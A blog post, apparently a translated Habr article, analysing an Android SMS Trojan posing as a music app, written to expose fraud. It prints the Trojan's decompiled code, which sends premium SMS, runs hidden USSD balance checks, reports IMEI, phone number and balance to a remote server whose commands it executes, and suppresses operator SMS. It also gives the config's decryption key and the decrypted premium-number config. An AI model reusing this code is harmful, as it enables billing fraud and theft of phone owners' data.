📜 ⬆️ ⬇️

The history of reverse engineering of one SMS Trojan for Android

image
It all started with the complaints of one of my good friends, part-time owner of the device on Android. He complained that the operator constantly removes money from him for some unknown reason. After calls to the operator, it turned out that the funds were taken for a premium SMS, which my friend allegedly sent. I myself repeatedly ran up on the Internet for suspicious sites that offer to download apk with a game / program / Live Wallpaper, when installed, it turns out that this is just a program that sends SMS to premium numbers. But in this case, if you press the button, then “he is a fool”, because the rules in such programs clearly say that sending SMS to paid numbers will follow, and they will eventually provide links to real programs.

Anyway, the suspicion crept in to me that the situation here is also tied to this kind of activity, and I undertook to figure out where all the same money is leaking.


Secure application installation


Let's start with the fact that my friend forgot where he downloaded the latest programs from the network to his device, only the following mobisity.ru link was shaken out of it ( Caution, the site is distributing malware! ). Having rummaged on a site, I have pulled out from there APK .
Now that the prehistory is known to the reader, you can move on to the most interesting part - analyzing the application. Let's start with a safe installation of the application, namely, install it on the emulator and see how it works.
')
We launch the regular Android emulator, preferably version 2.2 or higher (the application is not installed for older versions), for this we start the emulator via AVD (Android Virtual Device Manager) and execute the command
adb install mp3.apk 

In the list of applications appears we are seeing our trojan, under the name Music and with the corresponding icon.



We start and observe the process of some kind of “installation”, after which we are invited to click the “next” button



If you press the hardware button Menu, you can open the rules and read that after pressing the button, sending SMS to premium numbers will go. Well, okay, so far it is from the category of "a fool himself." So where are the funds constantly flowing away? It is not clear yet, we investigate further.

Code analysis


For the analysis I used the following tools: jd-gui , dex2jar and apktool .

First of all, let's analyze the APK with apktool and look at the structure of the project. To do this, you must run the command
 apktool d mp3.apk 
Analysis of the internal structure of the project does not give anything interesting, except that the assets folder contains an incomprehensible data.xml file, apparently it stores some data, but is encrypted, since, at first glance, the data cannot be easily analyzed.

Well, it remains only to watch the code, for this we use dex2jar . With the help of your favorite archiver, we pull out the file from the APK with the name classes.dex , and with the help of dex2jar we convert it into a jar file. The resulting jar needs to be opened in the jd-gui program. Everything, now we have all (or almost all) application code:



Before rushing to analyze the code, I decided to look at the AndroidManifest.xml file, as a rule you can get a lot of useful information about the application out of it.

Full listing file AndroidManifest.xml
 <?xml version="1.0" encoding="utf-8"?> <manifest android:versionCode="1" android:versionName="1.0" package="net.droid.installer" xmlns:android="http://schemas.android.com/apk/res/android"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:label="@string/app_name" android:icon="@drawable/icon"> <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".InstallActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation"> <intent-filter> <action android:name="android.intent.action.CREATE_SHORTCUT" /> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".RuleActivity" android:screenOrientation="portrait" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".LoaderActivity" android:screenOrientation="portrait" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".StartActivity" /> <receiver android:name=".StartupReceiver" android:enabled="true" android:exported="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> <service android:name=".UpdateService" android:enabled="true" /> <receiver android:name=".UpdateReceiver" /> <receiver android:name=".MessageReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name=".Scanner"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REPLACED" /> <action android:name="android.intent.action.PACKAGE_REPLACED" /> <data android:scheme="package" /> </intent-filter> </receiver> <service android:name=".USSDDumbExtendedNetworkService"> <intent-filter> <action android:name="com.android.ussd.IExtendedNetworkService" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </service> </application> </manifest> 


After reviewing the file, I became interested in a BroadcastReceiver called StartupReceiver - it is obvious that it runs some code when the system boots, as indicated by the stated intent-filters.

StartupReceiver Code
 package net.droid.installer; import a; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.RemoteException; import android.preference.PreferenceManager; import android.telephony.TelephonyManager; public class StartupReceiver extends BroadcastReceiver { private static ServiceConnection d = null; boolean a = false; Context b; private ac = null; public void onReceive(Context paramContext, Intent paramIntent) { this.b = paramContext; Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName(); PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit(); try { if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("    "))) d = new j(this); } catch (Exception localException1) { try { paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1); label120: localObject = this.c; if (localObject != null); try { this.ca(":ON;)"); while (true) { label141: paramContext.startService(new Intent(paramContext, UpdateService.class)); return; localException1; } } catch (RemoteException localRemoteException) { break label141; } } catch (Exception localException2) { break label120; } } } } 


Apparently, if necessary, there is a binding with a system service that provides USSD requests. It would be logical to assume that the trojan tracks the user's balance in this way.
In addition, the code shows that the UpdateService service is running .

UpdateService code
 package net.droid.installer; import android.app.AlarmManager; import android.app.PendingIntent; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.IBinder; import android.preference.PreferenceManager; public class UpdateService extends Service { static Context a; static String b = "http://mxclick.com/"; static int c = 60; static SharedPreferences d; static String e = b; static boolean f = false; public static void a() { SharedPreferences.Editor localEditor = d.edit(); localEditor.putBoolean("appblocked", true); localEditor.commit(); } public static void a(String paramString) { SharedPreferences.Editor localEditor = d.edit(); localEditor.putString(a.getString(2130968584), paramString); localEditor.commit(); } public IBinder onBind(Intent paramIntent) { return null; } public void onCreate() { } public void onDestroy() { super.onDestroy(); } public void onStart(Intent paramIntent, int paramInt) { super.onStart(paramIntent, paramInt); a = this; Object localObject = PreferenceManager.getDefaultSharedPreferences(this); d = (SharedPreferences)localObject; e = ((SharedPreferences)localObject).getString(getString(2130968584), b); localObject = (AlarmManager)getSystemService("alarm"); PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0); ((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent); } public boolean onUnbind(Intent paramIntent) { return super.onUnbind(paramIntent); } } 



Obviously, when starting this service, using the AlarmManager scheduler, it starts Intent, which is a signal to launch a BroadcastReceiver with the name UpdateReceiver , or rather, its method is onReceive.

UpdateReceiver Code
 package net.droid.installer; import a; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.net.Uri; import android.os.PowerManager; import android.os.PowerManager.WakeLock; import android.preference.PreferenceManager; import android.telephony.SmsManager; import android.telephony.TelephonyManager; import java.util.ArrayList; public class UpdateReceiver extends BroadcastReceiver { static boolean i = false; private static ServiceConnection l = null; Context a; SharedPreferences b; boolean c = false; String d = ""; String e = ""; String f = ""; String g = ""; String h = ""; ArrayList j = new ArrayList(); private final ak = null; private String a() { return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString(); } private void a(String paramString1, String paramString2) { PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0); PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0); SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2); } public void onReceive(Context paramContext, Intent paramIntent) { this.a = paramContext; this.b = PreferenceManager.getDefaultSharedPreferences(this.a); PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE"); localWakeLock.acquire(); Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName(); try { if (a().equals("25001")) a("111", "11"); while (true) { if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false)) { localObject = PreferenceManager.getDefaultSharedPreferences(this.a); SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit(); if (((SharedPreferences)localObject).getBoolean("new", true)) { localEditor.putBoolean("new", false); localEditor.putLong("time", 1200000L + System.currentTimeMillis()); localEditor.commit(); } if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L)) new m(this).execute(new String[0]); } label191: localWakeLock.release(); return; if (a().equals("25002")) { a("000100", "b"); continue; } if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false))) { localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#"))); ((Intent)localObject).addFlags(268435456); paramContext.startActivity((Intent)localObject); continue; } if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("    "))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false))) continue; localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#"))); ((Intent)localObject).addFlags(268435456); paramContext.startActivity((Intent)localObject); } } catch (Exception localException) { break label191; } } } 



Here we see that the trojan checks the user's current balance before sending an SMS. And besides that, it launches AsyncTask with the name m , which sends a request to the mxclick.com/getTask.php script. The script apparently gives the desired number, which will be sent to those or other SMS. Well, in the end, UpdateReceiver sends an SMS, thereby draining the balance of the poor user.

AsyncTask successor code - class m
 package net.droid.installer; import android.app.Notification; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.database.Cursor; import android.net.Uri; import android.os.AsyncTask; import android.os.Build; import android.os.Build.VERSION; import android.preference.PreferenceManager; import android.provider.ContactsContract.CommonDataKinds.Phone; import android.provider.ContactsContract.Contacts; import android.telephony.TelephonyManager; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URI; import java.net.URL; import java.util.ArrayList; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.DefaultHttpClient; import org.json.JSONArray; import org.json.JSONObject; final class m extends AsyncTask { m(UpdateReceiver paramUpdateReceiver) { } private String a() { String str1; try { Object localObject7 = (TelephonyManager)this.aagetSystemService("phone"); Object localObject2 = ((TelephonyManager)localObject7).getDeviceId(); Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso(); Object localObject1 = new DefaultHttpClient(); Object localObject5 = ((TelephonyManager)localObject7).getLine1Number(); Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName(); String str3 = ((TelephonyManager)localObject7).getNetworkOperator(); String str2 = Integer.toString(Build.VERSION.SDK_INT); localObject7 = Build.MODEL; localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.aa).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2); localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL(); ((URL)localObject2).toString(); localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent(); localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8); localObject2 = new StringBuilder(); while (true) { localObject3 = ((BufferedReader)localObject4).readLine(); if (localObject3 == null) break; ((StringBuilder)localObject2).append((String)localObject3); } ((StringBuilder)localObject2).toString(); ((InputStream)localObject1).close(); ((BufferedReader)localObject4).close(); while (true) { try { localObject2 = new JSONArray(((StringBuilder)localObject2).toString()); int i = 0; if (i >= ((JSONArray)localObject2).length()) break; localObject3 = ((JSONArray)localObject2).getJSONObject(i); localObject4 = ((JSONObject)localObject3).getString("type"); if (!((String)localObject4).equals("1")) continue; UpdateService.f = true; UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message")); localObject5 = new n(this.a); localObject7 = new String[1]; localObject7[0] = "1"; ((n)localObject5).execute(localObject7); if (!((String)localObject4).equals("2")) break label742; localObject5 = this.aagetContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); if (!((Cursor)localObject5).moveToNext()) break label650; localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id")); if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1")) { str2 = "true"; if (!Boolean.parseBoolean(str2)) continue; localObject7 = this.aagetContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null); if (!((Cursor)localObject7).moveToNext()) break label640; this.ajadd(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1"))); continue; } } catch (Exception localException1) { str1 = "-100"; } str2 = "false"; continue; label640: ((Cursor)localObject7).close(); continue; label650: ((Cursor)localObject5).close(); for (int j = 0; j < this.ajsize(); j++) UpdateReceiver.a(this.a, (String)this.ajget(j), ((JSONObject)localObject3).getString("message")); localObject7 = new n(this.a); Object localObject6 = new String[1]; localObject6[0] = "2"; ((n)localObject7).execute(localObject6); label742: if (((String)localObject4).equals("3")) { localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url"))); ((Intent)localObject6).addFlags(268435456); this.aastartActivity((Intent)localObject6); localObject7 = new n(this.a); localObject6 = new String[1]; localObject6[0] = "3"; ((n)localObject7).execute(localObject6); } if (((String)localObject4).equals("4")) { UpdateService.a(((JSONObject)localObject3).getString("server_url")); localObject7 = new n(this.a); localObject6 = new String[1]; localObject6[0] = "4"; ((n)localObject7).execute(localObject6); } if (((String)localObject4).equals("5")) { localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis()); localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop"))); localObject6 = PendingIntent.getActivity(this.aa, 0, (Intent)localObject6, 0); localObject7 = (NotificationManager)this.aagetSystemService("notification"); ((Notification)localObject4).setLatestEventInfo(this.aa, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6); ((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults); ((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags); ((NotificationManager)localObject7).notify(0, (Notification)localObject4); } str1++; } } catch (Exception localException2) { str1 = null; } return (String)(String)(String)(String)(String)(String)(String)str1; } } 



Well, in fact, everything - then you can not disassemble the code, we saw that the emptying of the user's balance is achieved by sending SMS to premium numbers. However, I came across a couple of interesting moments when I looked through the Trojan code. For example, incoming SMS from number 111, which is the service number of the MTS, are blocked - thus, the user does not hear anything at all and does not see when his balance gradually goes into minus.
This is done by the MessageReceiver class, here is its definition in AndroidManifest.xml

  <receiver android:name=".MessageReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> 


It can be seen that he is set to high priority, so he manages to process incoming messages to the device first. Well, inside the onReceive method, we see that if the SMS comes from number 111, then the intent is intercepted, that is, the broadcast message ends on this handler and does not go further to other applications.

MessageReceiver Code
 package net.droid.installer; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.preference.PreferenceManager; import android.telephony.SmsMessage; import java.util.regex.Matcher; import java.util.regex.Pattern; public class MessageReceiver extends BroadcastReceiver { public void onReceive(Context paramContext, Intent paramIntent) { Object localObject = paramIntent.getExtras(); if (localObject != null) { localObject = (Object[])((Bundle)localObject).get("pdus"); SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length]; int i = 0; try { while (i < arrayOfSmsMessage.length) { arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]); if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100"))) { Matcher localMatcher = Pattern.compile("-?\\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody()); if (localMatcher.find()) { PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit(); if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("     ")) PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit(); abortBroadcast(); } } if (UpdateService.f) { abortBroadcast(); UpdateService.f = false; } i++; } } catch (Exception localException) { } } } } 



Another interesting point that actually allows the community to force fraudsters to answer for their actions is the encrypted base, which I mentioned at the beginning of the post. While viewing the code, it was found out that the file with numbers was encrypted with the Blowfish algorithm in ECB mode. This is a symmetric encryption algorithm, with a good key it could take years to break into it, but ... the Trojan’s developers didn’t bother much:

 public final String b(String paramString) { try { Object localObject2 = this.a.getAssets().open(paramString); Object localObject1 = new byte[((InputStream)localObject2).available()]; ((InputStream)localObject2).read(localObject1); ((InputStream)localObject2).close(); localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), aa); Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", aa).replace("c", ab).replace("g", ac)); localCipher.init(2, (Key)localObject2); localObject1 = new String(localCipher.doFinal(localObject1)); return localObject1; } catch (Exception str) { while (true) { localException.printStackTrace(); String str = "err"; } } } } 


With a known key, I had only to jot down a couple of lines in Java, and the file was decrypted:

Short numbers, billing prefixes and other Trojan settings
 <oper> <number> <numr>8503,7202,7201,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>25001</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204</numr> <pref>1429015599 041 122 6030</pref> <mccmnc>25002</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>8503,7202,7201,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>25099</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7202,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>250</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25503</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>3303,3303,3303</numr> <pref>427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030</pref> <mccmnc>400</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25501</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25505</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>3336</numr> <pref>427242015599 041 122 6030</pref> <mccmnc>257</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> </oper> 



Another point is that all USSD requests are running in the background , that is, a trojan can check the user's balance for as long as it needs , he will not suspect anything. Apparently, the implementation of the background execution of USSD requests was copied from the commandus site by the Trojan developers. As a homework, readers are asked to understand why the implementation was copied from this site and find confirmation of this in the code.

Conclusion


I would like to say that the development of such applications is a direct violation of the law of the Russian Federation, namely, articles 159 and 273 of the Criminal Code of the Russian Federation. Now the fraudsters can no longer otmazatsya, since the funds are not removed from the balance after pressing the abstract button, where the user assumes all responsibility for the consequences. Here the balance can be devastated for years and the user may not suspect anything at all.

Scammers, as well as content providers of numbers are by definition (because they provide direct assistance in making profits illegally or fraudulently) 8503, 7202, 7201, 7204, 7212, 3303, 3336 should be criminally punished. By the way, specific providers for these numbers can be viewed, for example, on the Megaphone or Beeline website . In order not to be unfounded, I cite the specific names of the content providers involved who own these numbers: InkorMedia LLC , SMS services, LLC (Joke of the Day) , Invest Telecom LLC and so on.

In addition, most likely, some data about the specific perpetrators can be extracted from the URL to which requests from the Trojan are sent, namely: mxclick.com/getTask.php . In general, interested readers can, if possible, try to find other traces of fraudsters themselves.

Personally, I hope that the respected operators Megafon, Beeline, MTS, Tele2 and others will take serious measures about the content providers, because they have not followed the use of their numbers, and someone finally gets to the bottom of the real culprits who develop and distribute these Trojans and make them respond to the full extent of the law.

Source: https://habr.com/ru/post/161459/


All Articles